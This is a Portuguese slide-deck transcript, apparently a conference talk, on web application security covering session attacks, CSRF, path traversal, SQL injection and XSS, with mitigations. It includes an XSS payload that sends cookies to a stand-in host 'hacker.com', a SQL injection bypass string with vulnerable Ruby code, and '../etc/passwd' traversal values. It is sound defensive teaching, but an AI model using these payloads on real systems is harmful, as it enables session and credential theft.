Os serviços prestados via aplicações web são cada vez mais críticos. Esse serviços na maioria das vezes envolvem pagamentos de mensalidades e até mesmo ganho de créditos que podem ser revertidos em produtos posteriormente. A segurança deve ser estudada com muita atenção e calma para minimizar as chances de invasão, prestando assim, um serviço de melhor qualidade para o cliente final.

1. Segurançaem
Aplicativos WEB
Sérgio Henrique Miranda Junior
@sergiohenrique

2. Quem sou eu?
Sérgio Henrique Miranda Junior
Líder Técnico @ Dito Internet
Bacharel em Ciência da Computação

3. Somos uma das 4 empresas da América Latina
qualificada no desenvolvimento de apps pelo
facebook
Utilizar a influência dos relacionamentos nas
redes sociais para gerar novos negócios para
nossos clientes
Dito Internet

4. Dito Internet
Algumas agências

5. . Depende dos desenvolvedores...
Segurança...
. Depende do método de desenvolvimento
utilizado...
. Depende de todas as camadas da aplicação:
. servidor de banco de dados
. servidor web
. framework utilizado
. da própria aplicação

6. Segurança...
. Geralmente a maioria das falhas de
seguranças estão localizadas na própria
aplicação
. O grupo Gartner estima que 75% dos
ataques acontecem na camada da aplicação!
. Uma pesquisa publicada pela White Hat
Security mostrou que em 86% dos sites
estudados, pelo menos, uma falha grave de
segurança foi encontrada

7. . Precisamos conhecer essas falhas de
segurança para podermos proteger nossa
aplicação
Segurança...

8. Sessões

9. O que é?
sessões
. HTTP é um protocolo que não possui estado
. A sessão é uma maneira de trazer estado para o
HTTP
. Sem a sessão os usuários teriam que se
identificar em todos os requests realizados
. O cookie é parte fundamental para a sessão
funcionar corretamente

10. Session ID
sessões
. É um hash construido de alguns valores
combinados
. Geralmente é um MD5 de 32 bytes
. É um valor único que indica a sessão de um
usuário do sistema

11. Sequestro de sessão
sessões
. Muitos sistemas web possuem um sistema de
autenticação
. Quando os usuários realizam login através de
um valor de login e senha, uma sessão é
criada e esse valor é armazenado no cookie
. Qualquer pessoa que conseguir capturar
esse cookie poderá utilizar o sistema web
através do usuário que realizou login

12. sessões
Como fazer?
Sequestro de sessão
. Basta realizar um sniff no tráfego de rede e
capturar o cookie
. Em uma rede wireless descriptografada é fácil
escutar o tráfego de todos os clientes conectados
. Isso é uma razão para você não trabalhar de
cafeterias!

13. sessões
Como evitar?
Sequestro de sessão
. Através da utilização do protocolo HTTPS!

14. Armazenamento
sessões
. Pode ser armazenada tanto no cliente quanto
no servidor
. Quando armazenada no cliente, existe um
limite de tamanho de 4KB
. É preciso ter um mecanismo que evite a
adulteração quando armazenada do lado do cliente
. Não colocar dados críticos quando o
armazenamento for feito no cliente

15. Replay ataques
sessões
. Acontece quando a sessão está armazenada
no cliente
. É uma forma do usuário conseguir voltar
valores de atributos

16. Exemplo:
Replay ataques
sessões
O usuário recebe créditos para realizar
compra no site
1
Esses créditos ficam armazenados na sessão2
O usuário realiza uma compra e tem seus
créditos debitados da sessão
3
O usuário substitui o valor do cookie pelo
valor do primeiro
4
O usuário agora possui o mesmo valor de créditos
que possuía quando entrou no sistema!
5

17. Replay ataques
sessões
Como evitar?
. Não armazenando dados críticos no cookie

18. Sessão fixa
sessões
. O hacker fixa um valor de sessão conhecido
por ele
. Dessa forma não é preciso roubar o valor de
sessão de um usuário

19. sessões
Exemplo:
Sessão fixa
O hacker cria um valor válido de sessão
acessando a página de login do sistema web
1
Copia o valor da sessão armazenado no cookie2
O hacker força o usuário a utilizar o valor de
sessão criado por ele
3
A sessão ainda não fez login. O usuário, sem
perceber, realiza login na sua conta
4
A partir desse momento, ambos, usuário e
hacker, possuem o mesmo valor de sessão!
5

20. sessões
Sessão fixa
1. login
2. session_id=bagadfe324
HACKER
BANCO.COM
CLIENTE
3. Fixa sessão em: session_id=bagadfe324
4. GET /login com o valor da sessão: bagadfe324
5. fornece usuário e senha para se logar no sistema
com valor de sessão: bagadfe324
6. GET /user/saldo
com valor de sessão: bagadfe324

21. sessões
Sessão fixa
Como evitar?
. Sempre crie uma nova sessão quando um
novo login for realizado!

22. Cross Site Request Forgery
CSRF

23. CSRF
O que é?
. CSRF é a possibilidade de executar
comandos em sistemas web que o usuário
está logado
. O browser sempre envia os cookies, do
domínio utilizado, que ele possui armazenado.
Isso acontece em todos os requests

24. CSRF
Como funciona?
HACKER
SITE.COM
SITE.COM
session_id=dfsa24
<img src=”http://www.site.com/account/1/destroy” />
session_id=dfsa24
<img src=”http://www.site.com/account/1/destroy” />

25. CSRF
Como funciona?
Como evitar?
. Utilize os verbos http corretamente! Utilize o
GET quando o request for operações como:
leitura, buscas, etc. Utilize o POST quando
você for alterar o estado de algum recurso
. Utilize tokens para proteger seus requests
que alteram os recursos disponibilizados pelo
sistema

26. Redirecionamento
e
Arquivos

27. redirect
Redirecionamento
&
files
. Quando é permitido passar como parâmetro
a URL de redirecionamento, é possível que
algum ataque aconteça
. O mais comum é um ataque de phishing
Como evitar?
. Não permitir que a URL seja passada via
parâmetro

28. redirect
Upload de arquivos
&
files
. Quando for permitido realizar upload de
arquivos, sempre filtre o nome passado pelo
usuário
. Imagine que você armazena seus arquivos
em /var/www/files. Se um usuário realizar
upload de um arquivo com o nome:
“../../../etc/passwd” você pode sobrescrever
um arquivo que não deveria!

29. . Não execute seus processos com permissões
de escrita em pastas que eles não devem
escrever
redirect
Upload de arquivos
&
files
Como evitar?
. Sempre filtre nomes de arquivos passado
pelos usuários

30. redirect
Upload de arquivos
&
files
. Não realize o processamento de imagens ou
vídeos de forma síncrona!
. Um usuário pode realizar vários uploads ao
mesmo tempo, com isso, o load do servidor irá
aumentar e você pode sofrer um ataque de
Denial Of Service (DOS)

31. redirect
Upload de arquivos
&
files
Como evitar?
. Sempre filtre nomes de arquivos!
. Nunca realize processamento pesado de
forma síncrona!

32. redirect
Download de arquivos
&
files
. Se for possível passar o nome do arquivo que
se deseja realizar download, o usuário pode
executar download de arquivos importantes
do sistema
. Imagine que você disponibilize uma URL
assim: http://www.site.com.br/downloads?
file=arquivo.txt

33. redirect
Download de arquivos
&
files
. Se você armazena seus arquivos em
/var/www/dowloads, o usuário pode
requisitar o seguinte arquivo:
file=../../../etc/passwd
Como evitar?
. Sempre filtre os nomes de arquivos que são
requisitados!

34. Gerenciamento de
usuários

35. gerenciam
ento
de
usuáriosBrute-force
. De posse de uma lista de usuários da sua
aplicação, um hacker pode criar um programa
que tentará descobrir a senha dos mesmos
. A maioria das senhas é uma combinação de
letras e números. Geralmente são senhas
fáceis de serem encontradas em dicionários
de senhas existentes pela internet

36. gerenciam
ento
de
usuáriosBrute-force
Como evitar?
. Coloque mensagens genéricas de erro nos
seus formulários de login
. Peça para o usuário informar o valor de um
CAPTCHA após algumas tentativas, sem
sucesso, de realizar login

37. gerenciam
ento
de
usuáriosRoubo de contas
. Alguns sistemas web facilitam o roubo de
contas através de:
. Troca de passwords
. Troca de e-mail

38. gerenciam
ento
de
usuáriosRoubo de contas
Como evitar?
. Peça a senha antiga quando o usuário tentar
alterar a mesma
. Peça a senha para o usuário sempre que ele
tentar alterar seu e-mail
. Revise todo o seu sistema e elimine as falhas
de segurança relacionadas a CSRF

39. Inserção de
código

40. inserção
SQL injection
. É uma forma de passar código SQL para sua
aplicação através de formulários
. Na maioria das vezes é executado pensando
em burlar a autenticação de sistemas
de
código

41. inserção
SQL injection
de
código
Exemplo:
O sistema web apresenta um formulário, com
os campos login e senha, para o usuário se
logar no sistema
1
O hacker passa como valor do campo de login:
‘ or ‘1’= ‘1 e como valor do campo senha: ‘ or
‘2’> ‘1
2
O desenvolvedor realiza a busca no banco de
dados: User.where("login = '#{params[:name]}'
and passwd = '#{params[:passwd]}'")
3

42. inserção
SQL injection
de
código
Exemplo:
A seguinte query é executada no sistema
gerenciador de banco de dados:
SELECT * FROM users where login = ‘’ OR ‘1’=’1’ and
passwd = ‘’ OR ‘2’>’1’ LIMIT 1
4
Essa query irá encontrar o primeiro registro
no banco de dados e realizará login com esse
registro
5

43. inserção
SQL injection
de
código
Como evitar?
. Sempre filtre os dados que são passados
pelos usuários!

44. Cross-site Scripting (XSS)
inserção
de
código
. É uma das vulnerabilidades mais
devastadoras que pode acontecer com um
sistema web
. Esse tipo de ataque insere código client-side
que será executado pelo sistema web
. Qualquer ponto de entrada do sistema web,
que permita o usuário inserir conteúdo, pode
estar vulnerável

45. Cross-site Scripting (XSS)
inserção
de
código
Exemplo:
O sistema web permite que os usuários
insiram posts para serem exibidos para todos
os outros
1
O hacker insere o seguinte código na hora de
enviar um post:
<script>document.write('<img
src="http://www.hacker.com/' +
document.cookie + '">');</script>
2

46. Cross-site Scripting (XSS)
inserção
de
código
Exemplo:
O sistema web tentará carregar a imagem do
site do hacker. A URL não exibe uma imagem,
logo o sistema web não exibirá nada
3
Nos logs do servidor web do hacker será vista
a seguinte linha:
GET http://www.hacker.com/
_app_session=836c1c25278e5b321d6bea4f
19cb57e2
4

47. Cross-site Scripting (XSS)
inserção
de
código
Como evitar?
. Filtre todos os dados que os usuários
inserirem no sistema web
. Escapar todos os dados, inseridos por
usuários, que são exibidos para outros
usuários
. Utilize a propriedade HTTP_ONLY em cookies
que armazenem valores de sessão

48. Dúvidas?

49. Obrigado!
e-mail: sergio.miranda@dito.com.br
twitter: @sergiohenrique
fb: /sergiohenriquemiranda